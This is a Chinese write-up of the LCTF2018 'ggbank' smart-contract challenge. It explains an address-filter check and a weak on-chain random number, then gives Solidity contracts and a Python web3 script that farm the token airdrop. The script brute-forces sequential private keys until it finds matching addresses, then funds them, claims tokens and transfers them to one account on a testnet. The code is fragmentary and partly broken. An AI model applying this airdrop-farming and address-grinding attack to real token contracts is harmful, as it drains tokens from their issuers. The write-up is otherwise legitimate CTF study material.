11.18号结束的LCTF2018中有一个很有趣的智能合约题目叫做ggbank，题目的原意是考察弱随机数问题，但在题目的设定上挺有意思的，加入了一个对地址的验证，导致弱随机的难度高了许多，反倒是薅羊毛更快乐了，下面就借这个题聊聊关于薅羊毛的实战操作。

分析

modifier authenticate { //修饰器，在authenticate关键字做修饰器时，会执行该函数
require(checkfriend(msg.sender));_; // 对来源做checkfriend判断
}

function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";

for (uint256 i = 0; i < 34; i++) { //逐渐对比最后5位
if (addr & gg == id) { // 当地址中包含7d7ec时可以继续
return true;
}
gg <<= 4;
id <<= 4;
}

return false;
}

checkfriend就是整个挑战最大的难点，也大幅度影响了思考的方向，这个稍后再谈。

    function getAirdrop() public authenticate returns (bool success){
if (!initialized[msg.sender]) { //空投
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}

function goodluck()  public payable authenticate returns (bool success) {
require(!locknumber[block.number]); //判断block.numbrt
require(balances[msg.sender]>=100); //余额大于100
balances[msg.sender]-=100; //每次调用要花费100token
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100; //随机数
if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){ //随机数判断
balances[msg.sender]+=20000;
_totalSupply +=20000;
locknumber[block.number] = true;
}
return true;
}

uint random=uint(keccak256(abi.encodePacked(block.number))) % 100;

uint(keccak256(abi.encodePacked(msg.sender))) % 100

https://github.com/LCTF/LCTF2018/tree/master/Writeup/gg%20bank

合约薅羊毛

contract attack{

bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";

for (uint256 i = 0; i < 34; i++) {
if (addr & gg == id) {
return true;
}
gg <<= 4;
id <<= 4;
}

return false;
}

function attack(){
// getairdrop

target.call(bytes4(keccak256('getAirdrop()')));
}
}
}

contract doit{

function doit() payable {

}
function attack_starta() public {
for(int i=0;i<=50;i++){
new attack();
}
}

function () payable {
}

}

 function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";

for (uint256 i = 0; i < 34; i++) {
if (addr & gg == id) {
return true;
}
gg <<= 4;
id <<= 4;
}

return false;
}

checkfriend只接受地址中带有7d7ec的地址交易，光是这几个字母出现的概率就只有1/36*1/36*1/36*1/36*1/36这个几率在每次随机生成50个合约上计算的话，概率就太小了。

python脚本解决方案

from ethereum.utils import privtoaddr, encode_hex

for i in range(1000000,100000000):
private_key = "%064d" % i
address = "0x" + encode_hex(privtoaddr(private_key))

import ecdsa
import sha3
from binascii import hexlify, unhexlify
from web3 import Web3
import os
import traceback
import time

my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/6528deebaeba45f8a0d005b570bef47d")
assert my_ipc.isConnected()
w3 = Web3(my_ipc)

target = "0x7caa18D765e5B4c3BF0831137923841FE3e7258a"

ggbank = [
{
"constant": True,
"inputs": [],
"name": "name",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [
{
"name": "",
}
],
"name": "balances",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "INITIAL_SUPPLY",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "decimals",
"outputs": [
{
"name": "",
"type": "uint8"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "_totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "_airdropAmount",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [
{
"name": "owner",
}
],
"name": "balanceOf",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "owner",
"outputs": [
{
"name": "",
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "symbol",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "_to",
},
{
"name": "_value",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "b64email",
"type": "string"
}
],
"name": "PayForFlag",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": True,
"stateMutability": "payable",
"type": "function"
},
{
"constant": False,
"inputs": [],
"name": "getAirdrop",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [],
"name": "goodluck",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": True,
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": False,
"inputs": [
{
"indexed": False,
"name": "b64email",
"type": "string"
},
{
"indexed": False,
"name": "back",
"type": "string"
}
],
"name": "GetFlag",
"type": "event"
}
]

mytarget = "0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C"
mytarget_private_key = 这是私钥

transaction_dict = {'chainId': 3,
'to':'', # empty address for deploying a new contract
'gasPrice':10000000000,
'gas':200000,
'nonce': None,
'value':10000000000000000,
'data':""}

ggbank_ins = w3.eth.contract(abi=ggbank)

nonce = 0

global nonce
# 发钱
if not nonce:

transaction_dict['nonce'] = nonce
signed = w3.eth.account.signTransaction(transaction_dict, mytarget_private_key)
result = w3.eth.sendRawTransaction(signed.rawTransaction)

nonce +=1

while 1:
break
time.sleep(1)

# 空投

transaction2 = ggbank_ins.functions.getAirdrop().buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
print(transaction2)
signed2 = w3.eth.account.signTransaction(transaction2, private_key)

result2 = w3.eth.sendRawTransaction(signed2.rawTransaction)

# 转账
nonce2+=1

transaction3 = ggbank_ins.functions.transfer(mytarget, int(1000)).buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
print(transaction3)

signed3 = w3.eth.account.signTransaction(transaction3, private_key)

result3 = w3.eth.sendRawTransaction(signed3.rawTransaction)

if __name__ == '__main__':

j = 0
for i in range(1000000,100000000):
private_key = "%064d" % i

j+=1